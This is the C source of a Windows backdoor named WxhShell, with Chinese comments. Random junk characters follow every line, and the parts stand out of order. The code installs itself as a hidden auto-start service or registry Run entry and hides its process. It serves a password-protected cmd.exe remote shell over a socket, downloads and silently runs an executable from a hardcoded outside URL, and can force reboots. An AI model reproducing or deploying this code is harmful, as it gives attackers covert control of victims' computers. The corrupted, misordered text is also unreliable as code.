    if(Boot(SHUTDOWN)) b TZ.y.sI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,}"jiGgS4  
    else { wp5H|ctl  
    closesocket(wsh); dV16'  
    ExitThread(0); .p?SPR  
    } qQ6@43TC  
    break; -yTIv* y  
    } ,oPxt  
  // 获取shell |sl^4'Ghc  
  case 's': { 3+vVdvu%  
    CmdShell(wsh);  rvK%m_r  
    closesocket(wsh); 8j :=D!S  
    ExitThread(0); @; I9e  
    break; #!%zf{(C+  
  } @K}h4Yok  
  // 退出 ]ms+ Va_/  
  case 'x': { @8+v6z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ta/ u&t4  
    CloseIt(wsh); *"4l}&  
    break; pU[yr'D.r  
    } y~\uS  
  // 离开 TtKKU4yp  
  case 'q': { ez)Ks`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RCxwiZaf33  
    closesocket(wsh); E H%hL5(  
    WSACleanup(); td23Z1Elk#  
    exit(1); KmM:V2@A$  
    break; NV@$\ <  
        } m6]6 !_  
  } %DA`.Z9 #  
  } 9sd}Z,l  
l4(FM}0X5}  
  // 提示信息 &-X51O C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8V9OMOt!  
} =dQ/^C_hj  
  } 4\g[&  
;DVg[#  
  return; :^xNHMp!  
} *[BtW5 6-  
P=\Hi.]%  
// shell模块句柄 gW9`k,U  
int CmdShell(SOCKET sock) R,=8)OI2  
{ q">}3`k  
STARTUPINFO si; i\gt @  
ZeroMemory(&si,sizeof(si)); bD|"c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9zrTf%m F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F- u"zox  
PROCESS_INFORMATION ProcessInfo; 1<MJ3"60  
char cmdline[]="cmd"; n:b,zssP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l~Ka(*[!U  
  return 0; T!HAE#xC  
} kC6Y?g  
rmtCCPF?0  
// 自身启动模式 i~R+ g3oi  
int StartFromService(void) R rYNtc  
{ YI> xxWA  
typedef struct [p}~M-$V8Y  
{ ]gm3|-EiY  
  DWORD ExitStatus; a1u4v/Qu9  
  DWORD PebBaseAddress; |W@Ko%om  
  DWORD AffinityMask; Wg,@S*x(  
  DWORD BasePriority; m}zXy\  
  ULONG UniqueProcessId; }d iE'  
  ULONG InheritedFromUniqueProcessId; pGy k61  
}   PROCESS_BASIC_INFORMATION; +aPe)U<t  
 yOvV"x]  
PROCNTQSIP NtQueryInformationProcess; 4xg1[Z%:  
v0tFU!Q%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T4gfQ6#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (n jTS+?  
4;gw&sFF  
  HANDLE             hProcess; ggYi7Wzsd  
  PROCESS_BASIC_INFORMATION pbi; _bg Zl  
jVN=_Y}\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d(R8^v/L  
  if(NULL == hInst ) return 0; -vk/z+-^!  
,# .12Q!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JP {`^c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jUR* |  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ndBT+ i  
QtW e,+WWV  
  if (!NtQueryInformationProcess) return 0; #N64ZXz_  
:,R>e}lM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fQg^^ZXe"  
  if(!hProcess) return 0; zxx9)I@?A  
A&%7Z^Pp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SkVah:cF-  
DB_oRr[oj  
  CloseHandle(hProcess); (b&Z\?"  
589fr"Ma,6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j \d)#+;  
if(hProcess==NULL) return 0; Zy:q)'D=  
K V?+9qa,  
HMODULE hMod; @Gw]cm  
char procName[255]; 6"}F KRR  
unsigned long cbNeeded; EM +! ph  
0b8=94a{>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8oRq3"  
P c5C*{C  
  CloseHandle(hProcess); |E||e10wR  
uGW#z_{(n  
if(strstr(procName,"services")) return 1; // 以服务启动 B> \q!dX3  
0oBAJP  
  return 0; // 注册表启动 DW:\6k  
} [eTEK W]  
o8%o68py  
// 主模块 MTgf.  
int StartWxhshell(LPSTR lpCmdLine) [z= !OFdE  
{ ZC<EPUV(  
  SOCKET wsl; Sz')1<  
BOOL val=TRUE; p:{L fQ  
  int port=0; -4F}I3I  
  struct sockaddr_in door; T('rM :)/  
lb=fS%  
  if(wscfg.ws_autoins) Install(); ,pf\g[tz  
h<PS<  
port=atoi(lpCmdLine); 85] 'I%gT  
h4Arg~Or  
if(port<=0) port=wscfg.ws_port; lU&2K$`  
9(vp`Z8B4  
  WSADATA data; w-v8 P`V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %(POC=b#[  
TM_bu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -O/[c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V2@( BliP  
  door.sin_family = AF_INET; ~ Hj c?*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +2Aggv>*  
  door.sin_port = htons(port); ;G"!y<F  
*UN*&DmF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EqIs&){  
closesocket(wsl); O~ x{p,s U  
return 1; ;<E?NBV^  
} ]rg-=Y k  
ymqn1ja1  
  if(listen(wsl,2) == INVALID_SOCKET) { O<Ay`p5  
closesocket(wsl); ! /|B4Yv  
return 1; Ag2Q!cq  
} H/8u?OC  
  Wxhshell(wsl); (R RRG;*n#  
  WSACleanup(); 6!*zgA5M'  
 z{V#_(  
return 0; Iq6EoDoq  
Dsv2p~  
} z\K %  
P#8lO%;  
// 以NT服务方式启动 8+(wAbp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tgi7RAY  
{ 5N ;xo??  
DWORD   status = 0; WUQa2$.  
  DWORD   specificError = 0xfffffff; \X]I: 0^j  
p#r qe<Ua  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >!o!rs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >Apa^Bp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dI=&gz  
  serviceStatus.dwWin32ExitCode     = 0; &fkH\o7)  
  serviceStatus.dwServiceSpecificExitCode = 0; B/3xV:Gy  
  serviceStatus.dwCheckPoint       = 0; ]lE5^<<  
  serviceStatus.dwWaitHint       = 0; aSHN*tP%y  
3(.Y>er%U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k{ZQM  
  if (hServiceStatusHandle==0) return; [W <j  
LHA :frC  
status = GetLastError(); 5C*- v,hF  
  if (status!=NO_ERROR) A L |,\s  
{ w^3S6lK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 07ppq?,y  
    serviceStatus.dwCheckPoint       = 0; puEu)m^  
    serviceStatus.dwWaitHint       = 0; n}4q2x"  
    serviceStatus.dwWin32ExitCode     = status; 9~K+h/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6vJ S"+ <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [+}0K{(O=  
    return; XJq]l6a:  
  } 37M,Os1(  
']OT7)_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hf30ve}  
  serviceStatus.dwCheckPoint       = 0; uo|:n"v  
  serviceStatus.dwWaitHint       = 0; Y[>`#RhP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4)L};B=  
} PBiA/dG[;  
FS('*w&bP  
// 处理NT服务事件,比如:启动、停止 < 5ULu(b&$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7v.O Lp  
{ evVxzU&  
switch(fdwControl) *F(<:3;2  
{ ZHoYnp-~z  
case SERVICE_CONTROL_STOP: ,&Zk63V  
  serviceStatus.dwWin32ExitCode = 0; U2Ky4UFm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %y)hYLOJ  
  serviceStatus.dwCheckPoint   = 0; i.-2 w6  
  serviceStatus.dwWaitHint     = 0; CWd &  
  { Z  6][9o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q!7mN?l  
  } {)Wa"|+  
  return; Rdj^k^V+a1  
case SERVICE_CONTROL_PAUSE: Ak O-PL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x{rjngp2  
  break; qB`%+<)C  
case SERVICE_CONTROL_CONTINUE: 8N<m V^|}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jOK !k  
  break; 5fmQ+2A C1  
case SERVICE_CONTROL_INTERROGATE: Sj8fo^K50  
  break; r,L`@A=v  
}; L,,*8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M}=fdH  
} uY3#,  
YelF)Na  
// 标准应用程序主函数 {?3i^Q=V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )M7~RN  
{ TA#pA(k  
h 3  J&  
// 获取操作系统版本 Q,ZV C  
OsIsNt=GetOsVer(); KT*"Sbh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^ $N3.O.  
yv)-QIC3  
  // 从命令行安装 /7-FVqDx8  
  if(strpbrk(lpCmdLine,"iI")) Install(); `)BZk[64  
9wdX#=I  
  // 下载执行文件 t0^)Q$  
if(wscfg.ws_downexe) { _u~`RlA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) scrss  
  WinExec(wscfg.ws_filenam,SW_HIDE); izu_KBzy  
} =">0\#  
c/(Dg$DbX  
if(!OsIsNt) {  (8 /&  
// 如果时win9x,隐藏进程并且设置为注册表启动 !!~r1)zN  
HideProc(); G=kW4rAk  
StartWxhshell(lpCmdLine); N Zwi3  
} 4v#s!W  
else =#&+w[4?&.  
  if(StartFromService()) <LX-},?P  
  // 以服务方式启动 <jLL2-5r0  
  StartServiceCtrlDispatcher(DispatchTable); w.=rea~  
else  4NIb_E0  
  // 普通方式启动 aq(i^d  
  StartWxhshell(lpCmdLine); Kzwe36O;?  
yv$hIU2X  
return 0; $5Rx>$~+d  
} B? XK;*])  
ydE}.0zN  
jd}~#:FUr*  
#V Z js`d6  
=========================================== ykxAm\O  
I.%EYAai  
U1|{7.R  
8N4E~*>C  
3i9~'j;F3  
jgfr_"@A  
" e&Z ?I2J  
A3.pz6iT>  
#include <stdio.h> 1h{7dLA  
#include <string.h> 5/HkhT yj  
#include <windows.h> b$`/f:_  
#include <winsock2.h> UcB2Aauji  
#include <winsvc.h> w+XwPpM0.n  
#include <urlmon.h> [ o 6  
J@ 8OU  
#pragma comment (lib, "Ws2_32.lib") g}*p(Tp9:  
#pragma comment (lib, "urlmon.lib") )k4&S{=  
~!/agLwY  
#define MAX_USER   100 // 最大客户端连接数  ?H8dyQ5"  
#define BUF_SOCK   200 // sock buffer ]tmMk7  
#define KEY_BUFF   255 // 输入 buffer veS) j?4  
*nV"X0&  
#define REBOOT     0   // 重启 OM@z5UP  
#define SHUTDOWN   1   // 关机 $ao7pvU6  
f{{J_""?&  
#define DEF_PORT   5000 // 监听端口 C!Fi &~  
Xp fw2;`U'  
#define REG_LEN     16   // 注册表键长度 Z[1|('   
#define SVC_LEN     80   // NT服务名长度 0J;Qpi!u2v  
9LOq*0L_:  
// 从dll定义API Y&$puiH-j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x l=i_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lo=n)cV1,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TT&%[A+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :fnK`RnaQ  
6 8Vxy  
// wxhshell配置信息 6DC+8I<  
struct WSCFG { =pnQ?2Og  
  int ws_port;         // 监听端口 x,GLGGi}_x  
  char ws_passstr[REG_LEN]; // 口令 p.x2R,CU  
  int ws_autoins;       // 安装标记, 1=yes 0=no nrbP3sf*  
  char ws_regname[REG_LEN]; // 注册表键名 C87 9eeJ  
  char ws_svcname[REG_LEN]; // 服务名 @r\{iSg&g.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q/qig5Ou  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h)z2#qfc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #E_<}o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0*AXd=)"*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9 {IDw   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q&LCMnv"P  
ylQ9Su>o  
}; A}_pJH  
p xW*kS  
// default Wxhshell configuration +HG*T[%/  
struct WSCFG wscfg={DEF_PORT, &{ZUY3  
    "xuhuanlingzhe", 4Wa*Pcj  
    1, y'O<*~C(X  
    "Wxhshell", @\a~5CLN  
    "Wxhshell", Xu|2@?l9  
            "WxhShell Service", 7'|aEH  
    "Wrsky Windows CmdShell Service", BW"24JhF"  
    "Please Input Your Password: ", (?"z!dgc  
  1, 3kVN[0  
  "http://www.wrsky.com/wxhshell.exe", Au:R]7   
  "Wxhshell.exe" Xc L%0%`  
    }; 4EaxU !BT  
ieXi6^M$  
// 消息定义模块 8uA!Vrp3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pv"s!q&  
char *msg_ws_prompt="\n\r? for help\n\r#>";  Af`Tr6)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gq="&  
char *msg_ws_ext="\n\rExit."; o1uM(  
char *msg_ws_end="\n\rQuit."; 6.6?Rp".  
char *msg_ws_boot="\n\rReboot..."; eK}GBBdO  
char *msg_ws_poff="\n\rShutdown..."; Tf('iZ2+  
char *msg_ws_down="\n\rSave to "; wNmC1HOh  
T>J ,kh  
char *msg_ws_err="\n\rErr!"; x1Z*R+|>2  
char *msg_ws_ok="\n\rOK!"; amWKykVS5  
> iYdr/^a  
char ExeFile[MAX_PATH]; {$ v^2K'C  
int nUser = 0; )g KC}_h=  
HANDLE handles[MAX_USER]; )RQQhB  
int OsIsNt; pX1Us+%  
)c532 y  
SERVICE_STATUS       serviceStatus; + f:!9)C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zU_ dk'&,  
%OP|%^2  
// 函数声明 ^sqzlF  
int Install(void); M0`1o p1  
int Uninstall(void); p 8Z;QH*  
int DownloadFile(char *sURL, SOCKET wsh); Sf@xP.d  
int Boot(int flag); dqO]2d  
void HideProc(void); =r3g:j/>q  
int GetOsVer(void); OU!."r`9  
int Wxhshell(SOCKET wsl); -"?~By}<C  
void TalkWithClient(void *cs); l+X\>,  
int CmdShell(SOCKET sock); MZ~N}y  
int StartFromService(void); w(K|0|t  
int StartWxhshell(LPSTR lpCmdLine); SwM=?<  
XWq"_$&LF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d1'= \PYr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5hTScnL%  
Tr;.O?@{t}  
// 数据结构和表定义 wc&D[M]-/  
SERVICE_TABLE_ENTRY DispatchTable[] = 7 NnXt'  
{ z#GSt ZT  
{wscfg.ws_svcname, NTServiceMain}, ;<"V}, C  
{NULL, NULL} 0Gu?;]GSv  
}; k"%sdYkb!  
>qmNT/  
// 自我安装 DfVJ~,x~  
int Install(void) $8SSu|O+x  
{ pgZQ>%  
  char svExeFile[MAX_PATH];  QS1lg  
  HKEY key; ($W%&(:/  
  strcpy(svExeFile,ExeFile); }>V=J aG  
w\{#nrhYU  
// 如果是win9x系统,修改注册表设为自启动 hTmJ ~m'J  
if(!OsIsNt) { 6\`8b&'n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 15yiDI o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f.uy;v  
  RegCloseKey(key); O\)Kg2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H({m1v ~R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <FI*A+I4\  
  RegCloseKey(key); KVUub'k  
  return 0; $`lm]} {&  
    } \,r* -jr  
  } 0j 8`M"6  
} afzx?ekdF  
else { ?e,:x ]\L  
>y(loMl  
// 如果是NT以上系统,安装为系统服务 _x^rHADp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %s^1de  
if (schSCManager!=0) G;EJ\J6@Yw  
{ 3i'01z  
  SC_HANDLE schService = CreateService VL'wrgk  
  ( S4-jFD)U  
  schSCManager, w.#z>4#3-  
  wscfg.ws_svcname, g,W34*7=Q  
  wscfg.ws_svcdisp, L 4Z+8*  
  SERVICE_ALL_ACCESS, N Z ,}v3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PN:`SWP  
  SERVICE_AUTO_START, OhlK;hvdB*  
  SERVICE_ERROR_NORMAL, (U 4n} J  
  svExeFile, "S*@._   
  NULL, xtKU;+#  
  NULL, ?/-WH?1I  
  NULL, ]cVDXLj$  
  NULL, \u))1zRd  
  NULL &\b(  
  ); g1.u1}  
  if (schService!=0) ] @#wR  
  { o>bi~(H  
  CloseServiceHandle(schService); q/d?c Lgl  
  CloseServiceHandle(schSCManager); yPs6_Qo!p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Gk<a  
  strcat(svExeFile,wscfg.ws_svcname); po,U e>n/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %[M0TE=J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gv}Q/v   
  RegCloseKey(key); H)EL0 Kv/  
  return 0; GIn%yB'  
    } rm$dv%q  
  } R.F l5B  
  CloseServiceHandle(schSCManager); =tP^vgfQ  
}  + #E?)  
} pU'>!<zGr  
Gf:dN_e6.  
return 1; pl)?4[`LUc  
} AO|1m$xf  
^u1Nbo  
// 自我卸载 U^%)BI  
int Uninstall(void) uXLZ!LJo  
{ %e3E}m>  
  HKEY key; V0W4M%  
V\opC6*L_e  
if(!OsIsNt) { DS>&|zF5l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vqO#Z  
  RegDeleteValue(key,wscfg.ws_regname); dNF_ T?E\  
  RegCloseKey(key); `'k2gq&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  N&kUTSd  
  RegDeleteValue(key,wscfg.ws_regname); * fj`+J  
  RegCloseKey(key); uOy/c 8`  
  return 0; v?}0h5  
  } $xq04ejJ  
} OLm@-I*  
} n;$u%2t2  
else { yWE\)]9  
D .LR-Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /!A"[Tyt  
if (schSCManager!=0) 4[MTEBx  
{ kv,!"<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M_.Jmh<&&  
  if (schService!=0) m%>}T 75C^  
  { ^cSfkBh  
  if(DeleteService(schService)!=0) { }#%Y eCA?  
  CloseServiceHandle(schService); -!O8V  
  CloseServiceHandle(schSCManager); z,7;+6*=L  
  return 0; @:#J^CsM+'  
  } +G[zE  
  CloseServiceHandle(schService); |yzv o"3  
  } xpo^\E?2  
  CloseServiceHandle(schSCManager); -1d*zySL  
} o?t H[  
} N:k>V4oE  
F4WX$;1  
return 1; V45adDiZ  
} / x$JY\cq`  
6 w{_+=T  
// 从指定url下载文件 fjl 9*  
int DownloadFile(char *sURL, SOCKET wsh) [rK`BnJX  
{ ^blw\;LB  
  HRESULT hr; DI2e%`$  
char seps[]= "/"; ls!A'@J  
char *token; !Ko>   
char *file; T]tu#h{ a  
char myURL[MAX_PATH]; w?^[*_Y  
char myFILE[MAX_PATH]; VNIl%9:-l  
Q^nf D  
strcpy(myURL,sURL); ?wCX:? g  
  token=strtok(myURL,seps); F ]Zg  
  while(token!=NULL) y Rl   
  { ;v2eAe@7  
    file=token; NCG;`B`i  
  token=strtok(NULL,seps); QRBx}!:NZ#  
  } bHE.EBZ  
g52)/HM  
GetCurrentDirectory(MAX_PATH,myFILE); QT^b-~^  
strcat(myFILE, "\\"); W|2|v?v  
strcat(myFILE, file); II.: k.D`  
  send(wsh,myFILE,strlen(myFILE),0); qm:C1#<p   
send(wsh,"...",3,0); *?HoN;^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eI2HTFyT  
  if(hr==S_OK) eA-oqolY  
return 0; aGi`(|shW  
else lN,a+S/'  
return 1; $L6R,%c  
2y;vX|lX]  
} n5.sx|bI?  
KA?%1s(kJ  
// 系统电源模块 Ry]9n.y  
int Boot(int flag) tcv(<0  
{ 0 D '^:  
  HANDLE hToken; _8 0L/92  
  TOKEN_PRIVILEGES tkp; bEQ-? X%7  
c!7WRHJE_a  
  if(OsIsNt) { oe 6-F)+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QkD ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Z J-oT!.  
    tkp.PrivilegeCount = 1; 7kE+9HmfMk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S\A0gOL^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xRXvTNEg  
if(flag==REBOOT) { m[3c,Axl7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H{=G\N{  
  return 0; d<Q%h?E  
} ]3f[v:JQ  
else { &;P\e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5  >0\=  
  return 0; KRT&]2  
} fd>{ UyU  
  } -k8sR1(  
  else { NiW9/(;xB  
if(flag==REBOOT) { (&/4wI^M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l9a81NF{s  
  return 0; 4aBVO%t  
} ppvlU H5;  
else { Komdz/g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }s<;YC  
  return 0; ?z l<"u  
} -wV2 79^b  
} ov,s]g83  
hB.8\-}QMq  
return 1; #\m.3!Hcr  
} rnhLv$  
2672oFD  
// win9x进程隐藏模块 ,iP YsW]5  
void HideProc(void) ~B"HI+:\L  
{ &DGz/o  
}k%6X@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <Y?Z&rNb  
  if ( hKernel != NULL ) mR@d4(:J?  
  { -#T%*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d!R+-Fp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zs I?X>4  
    FreeLibrary(hKernel); (ub(0 h0j  
  } Il&7n_ H  
dG5jhkPX  
return; SF-"3M  
} nTr]NBR  
M3@qhEf?vk  
// 获取操作系统版本 s<!G2~T  
int GetOsVer(void) q 9xA.*  
{ U~7udUR  
  OSVERSIONINFO winfo; L@AFt)U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J.4U;A5  
  GetVersionEx(&winfo); ]9/A=p?J@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8YlZ({f  
  return 1; H OWpTu(  
  else Fovah4q%V  
  return 0; bs)wxU`Q*  
} \l /}` w  
*|\bS "  
// 客户端句柄模块 7A(4`D J  
int Wxhshell(SOCKET wsl) 2 >O[Y1  
{ X0P +[.i  
  SOCKET wsh; 9Q s5e  
  struct sockaddr_in client; Bx|W#:3e  
  DWORD myID; ,Owk;MV@  
OH2IO  
  while(nUser<MAX_USER) =oL:|$Pj  
{ PL$XXj>|:  
  int nSize=sizeof(client); 8HBwcXYoHh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I P#vfM  
  if(wsh==INVALID_SOCKET) return 1; TA*}p=?6?!  
@hg[v`~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N^[ F+y  
if(handles[nUser]==0) > VIFQ\  
  closesocket(wsh); 2ak]&ll+h  
else k $^/$N  
  nUser++; q5e(~@(z<`  
  } %+j/nA1%S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HLV8_~gQPf  
U3:|!CC)T  
  return 0; F=e;[uK\  
} m-Jy 4f#  
+yfUB8Xw  
// 关闭 socket UG`~RO  
void CloseIt(SOCKET wsh) Y(7&3+'K  
{ :3Q:pKg  
closesocket(wsh); ` wEX;  
nUser--; o;Z"I&  
ExitThread(0); 1K@ieVc  
} EEZ~Bs}d  
lF/ Xs  
// 客户端请求句柄 "]]LQb$  
void TalkWithClient(void *cs) -9{N7H  
{ /fT"WaTEK  
M]{~T7n-  
  SOCKET wsh=(SOCKET)cs; v0)Y,hW  
  char pwd[SVC_LEN]; :~8@fEKb{  
  char cmd[KEY_BUFF];  ]aF;  
char chr[1]; >@ 8'C"F  
int i,j; _4Eq_w`  
d9TTAaf  
  while (nUser < MAX_USER) { tUULpx.h  
hizM}d-"C  
if(wscfg.ws_passstr) { ?y>ji1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '1b8>L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bcv{Y\x;ko  
  //ZeroMemory(pwd,KEY_BUFF); RA<ky*^dr  
      i=0; WIi,`/K+  
  while(i<SVC_LEN) { VZcW 3/Y  
>fP;H}S6  
  // 设置超时 +?"F=.SZ  
  fd_set FdRead; L1!~T+%uQ  
  struct timeval TimeOut; Ir>4-@  
  FD_ZERO(&FdRead); s;oe Qa}TB  
  FD_SET(wsh,&FdRead); hv#$Zo<  
  TimeOut.tv_sec=8; fWEQ vQ  
  TimeOut.tv_usec=0; ^ fC2o%3^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zKJQel5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <CO_JWD  
eJ45:]_%I@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NCi~. I  
  pwd=chr[0]; >&+V[srfD  
  if(chr[0]==0xd || chr[0]==0xa) { LBD],Ba!  
  pwd=0; Jb*QlsGd  
  break; %p)&mYK{  
  } -( p%+`  
  i++; gkxHfm  
    } *l =f=  
\f4rA?+f  
  // 如果是非法用户,关闭 socket 4bL *7bA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *\'t$se+  
} T$u'+* Xx  
xf;>o$oN0P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UJqh~s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IowXVdm@6  
+=9iq3<yfS  
while(1) { +zche  
%eofG]VM<  
  ZeroMemory(cmd,KEY_BUFF); /Lr`Aka5  
*)w+xWmM3w  
      // 自动支持客户端 telnet标准   %Jh( 5  
  j=0; *Lz'<=DLoW  
  while(j<KEY_BUFF) { 8 f~x\.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w`8H=Hf  
  cmd[j]=chr[0]; -V4{tIQY  
  if(chr[0]==0xa || chr[0]==0xd) { , 2#Q >  
  cmd[j]=0; ]3,9 ."^  
  break; |k}L=oWE  
  } Vv(buG  
  j++; FD E?O]^  
    } >i  
3]kM&lK5\  
  // 下载文件 7P(o!%H  
  if(strstr(cmd,"http://")) { oS%(~])\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ldp9+7n~  
  if(DownloadFile(cmd,wsh)) .up[wt gN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'F}k0h?\'  
  else dO2?&f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <S7SH-{_\  
  } [N~7PNdS  
  else { X(x,6cC  
@ntwdv;  
    switch(cmd[0]) { rz&V.,s  
  iB W:t  
